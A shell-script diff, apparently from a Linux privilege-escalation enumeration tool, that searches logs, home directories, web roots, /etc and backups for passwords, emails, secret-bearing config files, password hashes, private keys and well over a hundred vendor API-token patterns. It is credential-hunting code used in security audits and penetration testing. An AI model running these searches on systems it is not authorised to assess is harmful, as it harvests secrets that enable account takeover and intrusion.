+ (find /var/log/ /var/logs/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|modules-config/config-set-passwords\|config-set-passwords already ran\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED},"
+ echo ""
+fi
+
+if [ "$DEBUG" ] || ( ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$SEARCH_IN_FOLDER" ] ); then
+ ##-- IF) Emails inside logs
+ print_2title "Searching emails inside logs (limit 70)"
+ (find /var/log/ /var/logs/ /private/var/log -type f -exec grep -I -R -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" "{}" \;) 2>/dev/null | sort | uniq -c | sort -r -n | head -n 70 | sed -${E} "s,$knw_emails,${SED_GREEN},g"
+ echo ""
+fi
+
+if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then
+ ##-- IF) Find possible files with passwords
+ print_2title "Searching possible password variables inside key folders (limit 140)"
+ if ! [ "$SEARCH_IN_FOLDER" ]; then
+ timeout 150 find $HOMESEARCH -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
+ timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
+ else
+ timeout 150 find $SEARCH_IN_FOLDER -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
+ fi
+ wait
+ echo ""
+
+ ##-- IF) Find possible conf files with passwords
+ print_2title "Searching possible password in config files (if k8s secrets are found you need to read the file)"
+ if ! [ "$SEARCH_IN_FOLDER" ]; then
+ ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -o -name "*.json" -o -name "*.yml" -o -name "*.yaml" 2>/dev/null)
+ else
+ ppicf=$(timeout 150 find $SEARCH_IN_FOLDER -name "*.conf" -o -name "*.cnf" -o -name "*.config" -o -name "*.json" -o -name "*.yml" -o -name "*.yaml" 2>/dev/null)
+ fi
+ printf "%s\n" "$ppicf" | while read f; do
+ if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encryption\-provider\-config' "$f" 2>/dev/null; then
+ echo "$ITALIC $f$NC"
+ grep -HnEiIo 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encryption\-provider\-config' "$f" 2>/dev/null | sed -${E} "s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${SED_RED},g"
+ fi
+ done
+ echo ""
+fi
+
+fi
+echo ''
+echo ''
+if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi
+
+if echo $CHECKS | grep -q api_keys_regex; then
+print_title "API Keys Regex"
+
+search_for_regex(){
+ title=$1
+ regex=$2
+ caseSensitive=$3
+
+ if [ "$caseSensitive" ]; then
+ i="i"
+ else
+ i=""
+ fi
+
+ print_3title_no_nl "Searching $title..."
+
+ if [ "$SEARCH_IN_FOLDER" ]; then
+ timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
+ else
+ # Search in home direcoties (usually the slowest)
+ timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
+
+ # Search in etc
+ timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
+
+ # Search in opt
+ timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
+
+ # Search in possible web folders (usually only 1 will exist)
+ timeout 120 find /var/www /usr/local/www /usr/share/nginx /Library/WebServer/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
+
+ # Search in logs
+ timeout 120 find /var/log /var/logs /Library/Logs -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
+
+ # Search in backups
+ timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
+
+ # Search in others folders (usually only /srv or /Applications will exist)
+ timeout 120 find /tmp /srv /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
+ fi
+ wait
+ printf "\033[2K\r"
+}
+
+
+
+if [ "$REGEXES" ] && [ "$TIMEOUT" ]; then
+ print_2title "Searching Hashed Passwords"
+ search_for_regex "Apr1 MD5" "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"
+ search_for_regex "Apache SHA" "\{SHA\}[0-9a-zA-Z/_=]{10,}"
+ search_for_regex "Blowfish" "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*"
+ search_for_regex "Drupal" "\$S\$[a-zA-Z0-9_/\.]{52}"
+ search_for_regex "Joomlavbulletin" "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}"
+ search_for_regex "Linux MD5" "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"
+ search_for_regex "phpbb3" "\$H\$[a-zA-Z0-9_/\.]{31}"
+ search_for_regex "sha512crypt" "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}"
+ search_for_regex "Wordpress" "\$P\$[a-zA-Z0-9_/\.]{31}"
+ echo ''
+
+ print_2title "Searching Raw Hashes"
+ search_for_regex "sha512" "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)"
+ echo ''
+
+ print_2title "Searching APIs"
+ search_for_regex "Adobe Client Id (Oauth Web)" "(adobe[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-f0-9]{32})['\"]" 1
+ search_for_regex "Abode Client Secret" "(p8e-)[a-z0-9]{32}" 1
+ search_for_regex "Age Secret Key" "AGE-SECRET-KEY-1[QPZRY9X8GF2TVDW0S3JN54KHCE6MUA7L]{58}"
+ search_for_regex "Airtable API Key" "[\"']?air[-_]?table[-_]?api[-_]?key[\"']?[=:][\"']?.+[\"']\""
+ search_for_regex "Alchemi API Key" "(alchemi[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-zA-Z0-9-]{32})['\"]" 1
+ search_for_regex "Alibaba Access Key ID" "(LTAI)[a-z0-9]{20}" 1
+ search_for_regex "Alibaba Secret Key" "(alibaba[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{30})['\"]" 1
+ search_for_regex "Artifactory API Key & Password" "[\"']AKC[a-zA-Z0-9]{10,}[\"']|[\"']AP[0-9ABCDEF][a-zA-Z0-9]{8,}[\"']"
+ search_for_regex "Asana Client ID" "((asana[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9]{16})['\"])|((asana[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{32})['\"])" 1
+ search_for_regex "Atlassian API Key" "(atlassian[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{24})['\"]" 1
+ search_for_regex "AWS Client ID" "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"
+ search_for_regex "AWS MWS Key" "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
+ search_for_regex "AWS Secret Key" "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]"
+ search_for_regex "AWS AppSync GraphQL Key" "da2-[a-z0-9]{26}"
+ search_for_regex "Basic Auth Credentials" "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+"
+ search_for_regex "Beamer Client Secret" "(beamer[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"](b_[a-z0-9=_\-]{44})['\"]" 1
+ search_for_regex "Binance API Key" "(binance[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-zA-Z0-9]{64})['\"]" 1
+ search_for_regex "Bitbucket Client Id" "((bitbucket[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{32})['\"])" 1
+ search_for_regex "Bitbucket Client Secret" "((bitbucket[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9_\-]{64})['\"])" 1
+ search_for_regex "BitcoinAverage API Key" "(bitcoin.?average[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-zA-Z0-9]{43})['\"]" 1
+ search_for_regex "Bitquery API Key" "(bitquery[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([A-Za-z0-9]{32})['\"]" 1
+ search_for_regex "Birise API Key" "(bitrise[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-zA-Z0-9_\-]{86})['\"]" 1
+ search_for_regex "Block API Key" "(block[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4})['\"]" 1
+ search_for_regex "Blockchain API Key" "mainnet[a-zA-Z0-9]{32}|testnet[a-zA-Z0-9]{32}|ipfs[a-zA-Z0-9]{32}"
+ search_for_regex "Blockfrost API Key" "(blockchain[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[0-9a-f]{12})['\"]" 1
+ search_for_regex "Box API Key" "(box[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-zA-Z0-9]{32})['\"]" 1
+ search_for_regex "Bravenewcoin API Key" "(bravenewcoin[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{50})['\"]" 1
+ search_for_regex "Clearbit API Key" "sk_[a-z0-9]{32}"
+ search_for_regex "Clojars API Key" "(CLOJARS_)[a-zA-Z0-9]{60}"
+ search_for_regex "Cloudinary Basic Auth" "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+"
+ search_for_regex "Coinlayer API Key" "(coinlayer[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{32})['\"]" 1
+ search_for_regex "Coinlib API Key" "(coinlib[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{16})['\"]" 1
+ search_for_regex "Contentful delivery API Key" "(contentful[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9=_\-]{43})['\"]" 1
+ search_for_regex "Covalent API Key" "ckey_[a-z0-9]{27}"
+ search_for_regex "Charity Search API Key" "(charity.?search[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{32})['\"]" 1
+ search_for_regex "Databricks API Key" "dapi[a-h0-9]{32}"
+ search_for_regex "DDownload API Key" "(ddownload[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{22})['\"]" 1
+ search_for_regex "Defined Networking API token" "(dnkey-[a-z0-9=_\-]{26}-[a-z0-9=_\-]{52})"
+ search_for_regex "Discord API Key, Client ID & Client Secret" "((discord[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-h0-9]{64}|[0-9]{18}|[a-z0-9=_\-]{32})['\"])" 1
+ search_for_regex "Dropbox API Key" "sl.[a-zA-Z0-9_-]{136}"
+ search_for_regex "Doppler API Key" "(dp\.pt\.)[a-zA-Z0-9]{43}"
+ search_for_regex "Dropbox API secret/key, short & long lived API Key" "(dropbox[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{15}|sl\.[a-z0-9=_\-]{135}|[a-z0-9]{11}(AAAAAAAAAA)[a-z0-9_=\-]{43})['\"]" 1
+ search_for_regex "Duffel API Key" "duffel_(test|live)_[a-zA-Z0-9_-]{43}"
+ search_for_regex "Dynatrace API Key" "dt0c01\.[a-zA-Z0-9]{24}\.[a-z0-9]{64}"
+ search_for_regex "EasyPost API Key" "EZAK[a-zA-Z0-9]{54}"
+ search_for_regex "EasyPost test API Key" "EZTK[a-zA-Z0-9]{54}"
+ search_for_regex "Etherscan API Key" "(etherscan[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([A-Z0-9]{34})['\"]"
+ search_for_regex "Facebook Access Token" "EAACEdEose0cBA[0-9A-Za-z]+"
+ search_for_regex "Facebook Client ID" "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}"
+ search_for_regex "Facebook Oauth" "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]"
+ search_for_regex "Facebook Secret Key" "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}"
+ search_for_regex "Fastly API Key" "(fastly[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9=_\-]{32})['\"]" 1
+ search_for_regex "Finicity API Key & Client Secret" "(finicity[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-f0-9]{32}|[a-z0-9]{20})['\"]" 1
+ search_for_regex "Flutterweave Keys" "FLWPUBK_TEST-[a-hA-H0-9]{32}-X|FLWSECK_TEST-[a-hA-H0-9]{32}-X|FLWSECK_TEST[a-hA-H0-9]{12}"
+ search_for_regex "Frame.io API Key" "fio-u-[a-zA-Z0-9_=\-]{64}"
+ search_for_regex "Github" "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}"
+ search_for_regex "Github App Token" "(ghu|ghs)_[0-9a-zA-Z]{36}"
+ search_for_regex "Github OAuth Access Token" "gho_[0-9a-zA-Z]{36}"
+ search_for_regex "Github Personal Access Token" "ghp_[0-9a-zA-Z]{36}"
+ search_for_regex "Github Refresh Token" "ghr_[0-9a-zA-Z]{76}"
+ search_for_regex "GitHub Fine-Grained Personal Access Token" "github_pat_[0-9a-zA-Z_]{82}"
+ search_for_regex "Gitlab Personal Access Token" "glpat-[0-9a-zA-Z\-]{20}"
+ search_for_regex "GitLab Pipeline Trigger Token" "glptt-[0-9a-f]{40}"
+ search_for_regex "GitLab Runner Registration Token" "GR1348941[0-9a-zA-Z_\-]{20}"
+ search_for_regex "GoCardless API Key" "live_[a-zA-Z0-9_=\-]{40}"
+ search_for_regex "GoFile API Key" "(gofile[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-zA-Z0-9]{32})['\"]" 1
+ search_for_regex "Google API Key" "AIza[0-9A-Za-z_\-]{35}"
+ search_for_regex "Google Cloud Platform API Key" "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]"
+ search_for_regex "Google Drive Oauth" "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com"
+ search_for_regex "Google Oauth Access Token" "ya29\.[0-9A-Za-z_\-]+"
+ search_for_regex "Google (GCP) Service-account" "\"type.+:.+\"service_account"
+ search_for_regex "Grafana API Key" "eyJrIjoi[a-z0-9_=\-]{72,92}" 1
+ search_for_regex "Grafana cloud api token" "glc_[A-Za-z0-9\+/]{32,}={0,2}"
+ search_for_regex "Grafana service account token" "(glsa_[A-Za-z0-9]{32}_[A-Fa-f0-9]{8})"
+ search_for_regex "Hashicorp Terraform user/org API Key" "[a-z0-9]{14}\.atlasv1\.[a-z0-9_=\-]{60,70}"
+ search_for_regex "Heroku API Key" "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}"
+ search_for_regex "Hubspot API Key" "['\"][a-h0-9]{8}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{12}['\"]" 1
+ search_for_regex "Instatus API Key" "(instatus[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{32})['\"]" 1
+ search_for_regex "Intercom API Key & Client Secret/ID" "(intercom[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9=_]{60}|[a-h0-9]{8}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{12})['\"]" 1
+ search_for_regex "Ionic API Key" "(ionic[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"](ion_[a-z0-9]{42})['\"]" 1
+ search_for_regex "Jenkins Creds" "<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
+ search_for_regex "JSON Web Token" "(ey[0-9a-z]{30,34}\.ey[0-9a-z\/_\-]{30,}\.[0-9a-zA-Z\/_\-]{10,}={0,2})"
+ search_for_regex "Linear API Key" "(lin_api_[a-zA-Z0-9]{40})"
+ search_for_regex "Linear Client Secret/ID" "((linear[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-f0-9]{32})['\"])"
+ search_for_regex "LinkedIn Client ID" "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]"
+ search_for_regex "LinkedIn Secret Key" "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]"
+ search_for_regex "Lob API Key" "((lob[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]((live|test)_[a-f0-9]{35})['\"])|((lob[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]((test|live)_pub_[a-f0-9]{31})['\"])" 1
+ search_for_regex "Lob Publishable API Key" "((test|live)_pub_[a-f0-9]{31})"
+ search_for_regex "MailboxValidator" "(mailbox.?validator[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([A-Z0-9]{20})['\"]" 1
+ search_for_regex "Mailchimp API Key" "[0-9a-f]{32}-us[0-9]{1,2}"
+ search_for_regex "Mailgun API Key" "key-[0-9a-zA-Z]{32}'"
+ search_for_regex "Mailgun Public Validation Key" "pubkey-[a-f0-9]{32}"
+ search_for_regex "Mailgun Webhook signing key" "[a-h0-9]{32}-[a-h0-9]{8}-[a-h0-9]{8}"
+ search_for_regex "Mandrill API Key" "md-[A-Za-z0-9]{22}"
+ search_for_regex "Mapbox API Key" "(pk\.[a-z0-9]{60}\.[a-z0-9]{22})" 1
+ search_for_regex "MessageBird API Key & API client ID" "(messagebird[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{25}|[a-h0-9]{8}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{12})['\"]" 1
+ search_for_regex "Microsoft Teams Webhook" "https:\/\/[a-z0-9]+\.webhook\.office\.com\/webhookb2\/[a-z0-9]{8}-([a-z0-9]{4}-){3}[a-z0-9]{12}@[a-z0-9]{8}-([a-z0-9]{4}-){3}[a-z0-9]{12}\/IncomingWebhook\/[a-z0-9]{32}\/[a-z0-9]{8}-([a-z0-9]{4}-){3}[a-z0-9]{12}"
+ search_for_regex "New Relic User API Key, User API ID & Ingest Browser API Key" "(NRAK-[A-Z0-9]{27})|((newrelic[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([A-Z0-9]{64})['\"])|(NRJS-[a-f0-9]{19})"
+ search_for_regex "Nownodes" "(nownodes[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([A-Za-z0-9]{32})['\"]"
+ search_for_regex "Npm Access Token" "(npm_[a-zA-Z0-9]{36})"
+ search_for_regex "OpenAI API Token" "sk-[A-Za-z0-9]{48}"
+ search_for_regex "ORB Intelligence Access Key" "['\"][a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}['\"]"
+ search_for_regex "Pastebin API Key" "(pastebin[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{32})['\"]" 1
+ search_for_regex "PayPal Braintree Access Token" "access_token\$production\$[0-9a-z]{16}\$[0-9a-f]{32}"
+ search_for_regex "Picatic API Key" "sk_live_[0-9a-z]{32}"
+ search_for_regex "Pinata API Key" "(pinata[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{64})['\"]" 1
+ search_for_regex "Planetscale API Key" "pscale_tkn_[a-zA-Z0-9_\.\-]{43}"
+ search_for_regex "PlanetScale OAuth token" "(pscale_oauth_[a-zA-Z0-9_\.\-]{32,64})"
+ search_for_regex "Planetscale Password" "pscale_pw_[a-zA-Z0-9_\.\-]{43}"
+ search_for_regex "Plaid API Token" "(access-(?:sandbox|development|production)-[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"
+ search_for_regex "Prefect API token" "(pnu_[a-z0-9]{36})"
+ search_for_regex "Postman API Key" "PMAK-[a-fA-F0-9]{24}-[a-fA-F0-9]{34}"
+ search_for_regex "Private Keys" "\-\-\-\-\-BEGIN PRIVATE KEY\-\-\-\-\-|\-\-\-\-\-BEGIN RSA PRIVATE KEY\-\-\-\-\-|\-\-\-\-\-BEGIN OPENSSH PRIVATE KEY\-\-\-\-\-|\-\-\-\-\-BEGIN PGP PRIVATE KEY BLOCK\-\-\-\-\-|\-\-\-\-\-BEGIN DSA PRIVATE KEY\-\-\-\-\-|\-\-\-\-\-BEGIN EC PRIVATE KEY\-\-\-\-\-"
+ search_for_regex "Pulumi API Key" "pul-[a-f0-9]{40}"
+ search_for_regex "PyPI upload token" "pypi-AgEIcHlwaS5vcmc[A-Za-z0-9_\-]{50,}"
+ search_for_regex "Quip API Key" "(quip[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-zA-Z0-9]{15}=\|[0-9]{10}\|[a-zA-Z0-9\/+]{43}=)['\"]" 1
+ search_for_regex "Rubygem API Key" "rubygems_[a-f0-9]{48}"
+ search_for_regex "Readme API token" "rdme_[a-z0-9]{70}"
+ search_for_regex "Sendbird Access ID" "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"
+ search_for_regex "Sendgrid API Key" "SG\.[a-zA-Z0-9_\.\-]{66}"
+ search_for_regex "Sendinblue API Key" "xkeysib-[a-f0-9]{64}-[a-zA-Z0-9]{16}"
+ search_for_regex "Shippo API Key, Access Token, Custom Access Token, Private App Access Token & Shared Secret" "shippo_(live|test)_[a-f0-9]{40}|shpat_[a-fA-F0-9]{32}|shpca_[a-fA-F0-9]{32}|shppa_[a-fA-F0-9]{32}|shpss_[a-fA-F0-9]{32}"
+ search_for_regex "Sidekiq Secret" "([a-f0-9]{8}:[a-f0-9]{8})"
+ search_for_regex "Sidekiq Sensitive URL" "([a-f0-9]{8}:[a-f0-9]{8})@(?:gems.contribsys.com|enterprise.contribsys.com)"
+ search_for_regex "Slack Token" "xox[baprs]-([0-9a-zA-Z]{10,48})?"
+ search_for_regex "Slack Webhook" "https://hooks.slack.com/services/T[a-zA-Z0-9_]{10}/B[a-zA-Z0-9_]{10}/[a-zA-Z0-9_]{24}"
+ search_for_regex "Smarksheel API Key" "(smartsheet[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{26})['\"]" 1
+ search_for_regex "Square Access Token" "sqOatp-[0-9A-Za-z_\-]{22}"
+ search_for_regex "Square API Key" "EAAAE[a-zA-Z0-9_-]{59}"
+ search_for_regex "Square Oauth Secret" "sq0csp-[ 0-9A-Za-z_\-]{43}"
+ search_for_regex "Stytch API Key" "secret-.*-[a-zA-Z0-9_=\-]{36}"
+ search_for_regex "Stripe Access Token & API Key" "(sk|pk)_(test|live)_[0-9a-z]{10,32}|k_live_[0-9a-zA-Z]{24}" 1
+ search_for_regex "Telegram Bot API Token" "[0-9]+:AA[0-9A-Za-z\\-_]{33}"
+ search_for_regex "Trello API Key" "(trello[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9a-z]{32})['\"]"
+ search_for_regex "Twilio API Key" "SK[0-9a-fA-F]{32}"
+ search_for_regex "Twitch API Key" "(twitch[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{30})['\"]"
+ search_for_regex "Twitter Client ID" "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}"
+ search_for_regex "Twitter Bearer Token" "(A{22}[a-zA-Z0-9%]{80,100})"
